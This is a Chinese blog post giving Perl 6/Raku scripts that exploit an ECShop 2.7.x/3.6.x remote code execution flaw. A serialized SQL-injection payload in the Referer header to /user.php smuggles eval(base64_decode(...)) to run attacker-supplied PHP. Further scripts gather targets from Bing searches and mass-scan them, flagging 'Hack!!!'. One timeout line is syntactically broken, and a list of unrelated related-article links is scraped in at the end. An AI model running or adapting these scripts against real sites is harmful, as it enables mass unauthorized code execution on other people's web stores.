下面为测试是否存在漏洞的脚本:

sub MAIN($url) {
use HTTP::UserAgent;
my $r = HTTP::Request.new();
$r.uri: $url~'/user.php';
$r.set-method: 'POST';
my $ua = HTTP::UserAgent.new;
$r.add-content("action=login&vulnspy=phpinfo();exit;");
#my %data = :action<login>,'vulnspy' => "`echo 11111 > 1.txt`;exit";
my $exp = '554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"\'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca';
#$r.header.field(:User-Agent<Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0>);
#$r.header.field(:Accept<text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8>);
#$r.header.field(:Accept-Language<zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3>);
#$r.header.field(:Accept-Encoding<gzip, deflate>);
$r.header.field(Referer => $exp);
$r.header.field(:Content-Type<application/x-www-form-urlencoded>);
#$r.add-form-data(%data);
#say $r.Str;
#exit;
my $html = $ua.request($r);
#say $r.Str;
#say $html.^methods;
if so $html.content ~~ /:i phpinfo/ {say 'True'};
}

为 True 时表示存在漏洞。

关键字查找可以用这个脚本:

必应关键字查找

查找结果后处理 URL 可以用如下脚本:

my $file = open '1.txt', :r;
my $get_url = open 'url.txt', :a;
for $file.lines {
if not so $_ ~~ /\// {
.say;
$get_url.say($_);
next;
}
if so $_ ~~ /^http/ {
$_ ~~ /(http.*\/\/.*?)\//;
my $swap = $/[].Str;
say $swap;
$get_url.say($swap);
next;
}
if so $_ ~~ /(.*?)\/.*/ {
my $swap = $/[].Str;
say $swap;
$get_url.say($swap);
}
}

把以上处理过的文本导入进行批量检测最终脚本为:

use HTTP::UserAgent;
my $r = HTTP::Request.new();
my $file = open 'url.txt', :r;
my $target;
my $ua = HTTP::UserAgent.new;
for $file.lines -> $url { $r.clear;#清除所有头信息
if $url ~~ /^http/ {
$target = $url~'/user.php';
$r.uri: $target;
} else {
$target = 'http://'~$url~'/user.php';
$r.uri: $target;
}
say 'Check url: '~$target;
TEST($target); } sub TEST($url) {
use HTTP::UserAgent;
my $r = HTTP::Request.new();
$r.uri: $url~'/user.php';
$r.set-method: 'POST';
my $ua = HTTP::UserAgent.new;
$ua.timeout = ;
$r.add-content("action=login&vulnspy=phpinfo();exit;");
my $exp = '554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"\'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'; $r.header.field(Referer => $exp);
$r.header.field(:Content-Type<application/x-www-form-urlencoded>); try {
# code goes in here
# 如果有东西出错, 脚本会进入到下面的 CATCH block 中
# 如果什么错误也没有, 那么 CATCH block 会被忽略
my $html = $ua.request($r);
#say $r.Str;
#say $html.^methods;
if so $html.content ~~ /:i phpinfo/ {
say 'Hack!!! ';
} else {say 'No'}
CATCH {
default {
# 只有抛出异常时, 这儿的代码才会被求值
say 'Error';
}
}
} }

注意:

当打印结果为 Error 时, 可能是爬虫出问题, 或者是 url 链接无法打开。如果有这情况请进行手工测试。

漏洞说明链接为:

ECShop <= 2.7.x/3.6.x 全系列版本远程代码执行高危漏洞EXP

ecshop 2.7.x 批量测试的更多相关文章

  1. 批量增加Linux系统账号、重置账号密码、FTP账号批量测试

    批量增加Linux系统账号.重置账号密码是用Linux Shell脚本来做的:批量FTP账号测试是用Python脚本来做的.这些脚本都是读取一个用户名和密码文件,然后基于该用户名密码文件进行自动批量测 ...

  2. 【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入

    前言 通过Python脚本把Burp的HTTP请求提取出来交给SQLMap批量测试,提升找大门户网站SQL注入点的效率. 导出Burp的请求包 配置到Burp的代理后浏览门户站点,Burp会将URL纪 ...

  3. API Studio 5.1.2 版本更新:加入全局搜索、支持批量测试API测试用例、读取代码注解生成文档支持Github与码云等

    最近在EOLINKER的开发任务繁重,许久在博客园没有更新产品动态了,经过这些日子,EOLINKER又有了长足的进步,增加了更多易用的功能,比如加入全局搜索.支持批量测试API测试用例.读取代码注解生 ...

  4. JMeter循环读取CSV文件实现接口批量测试

    首先要理解为什么要进行批量测试,当我们在工作中进行接口测试时,项目的接口肯定不止一个,而是很多很多,而且每个接口都需要进行正确参数,错误参数,参数为空,特殊字符等方式来测试接口是否能够正确返回所需的响 ...

  5. 全网扫描扫描10000端口后的优化脚本&域名列表指定端口的批量测试

    方法一: #coding=utf-8 import urllib2 import threading from time import ctime,sleep print "Start-Ti ...

  6. junit批量测试

    引入一种“测试套件”的概念: package test; import org.junit.Test; public class Test1 { private int value = 1; publ ...

  7. python实例编写(6)--引入unittest测试框架,构造测试集批量测试(以微信统一管理平台为例)

    ---恢复内容开始--- 一.python单元测试实例介绍 unittest框架又叫PyUnit框架,是python的单元测试框架. 先介绍一个普通的单元测试(不用unittest框架)的实例: 首先 ...

  8. linux 批量测试域名返回码脚本

    需求:应用要求覆盖host并测试 1.创建一个host.txt的文件来存放需要修改的host记录 2.过滤出host.txt域名列并新生成一个curl.txt文件 cat host.txt |awk ...

  9. Python大黑阔—url采集+exp验证,带你批量测试

    i春秋作家:大木瓜 前言: 最近几天在整理从各处收集来的各种工具包,大大小小的塞满了十几个G的硬盘,无意间发现了一个好几年前的0day.心血来潮就拿去试了一下,没想到真的还可以用,不过那些站点都已经老 ...

随机推荐

  1. 2013337朱荟潼 Linux&深入理解计算机系统第七章读书笔记——链接

    第七章--链接 0.总结 链接编译时可以采用静态链接或动态链接. 连接器主要任务:符号解析和重定位. 多个目标文件可定义相同的符号,可以被连接到一个单独的静态库. 链接器可以生成部分链接的可执行文件 ...

  2. Thymeleaf 学习笔记

    (一)Thymeleaf 是个什么? 简单说, Thymeleaf 是一个跟 Velocity.FreeMarker 类似的模板引擎,它可以完全替代 JSP .相较与其他的模板引擎,它有如下三个极吸引 ...

  3. 第二个Sprint

    能够实现三个数,两个操作符的四则运算.

  4. “人向猿进阶”之软件工程第三课----WORDCOUNT.EXE统计程序

    ---恢复内容开始--- WC项目要求 这个项目要求写一个命令行程序,模仿已有的wc.exe的功能,并加以扩充,给出某程序设计源语言文件的字符数.单词数和行数.给实现一个统计程序,它能正确统计程序文件 ...

  5. [Delphi]实现使用TIdHttp控件向https地址Post请求[转]

    开篇:公司之前一直使用http协议进行交互(比如登录等功能),但是经常被爆安全性不高,所以准备改用https协议.百度了一下资料,其实使用IdHttp控件实现https交互的帖子并不少,鉴于这次成功实 ...

  6. Docker run centos 内部使用systemctl 启动服务的方法

    1. 执行docker 镜像 使用命令为 docker run --privileged=true -ti -e "container=docker" centos /usr/sb ...

  7. eclipse对maven项目进行打war包

    1. 利用pom.xml进行打包 右键项目名称或者pom.xml文件,选择debugAS或者runAS,选择maven install执行成功之后日志会打印输出位置 2. 使用命令打包 右键项目名称, ...

  8. 思维题练习专场-DP篇(附题表)

    转载请注明原文地址http://www.cnblogs.com/LadyLex/p/8536399.html 听说今年省选很可怕?刷题刷题刷题 省选已经结束了但是我们要继续刷题刷题刷题 目标是“有思维 ...

  9. nginx “403 Forbidden” 错误的原因及解决办法

    nginx 的 403 Forbidden errors 表示你在请求一个资源文件但是nginx不允许你查看. 403 Forbidden 只是一个HTTP状态码,像404,200一样不是技术上的错误 ...

  10. 界面编程之QT的线程20180731

    /*******************************************************************************************/ 一.为什么需 ...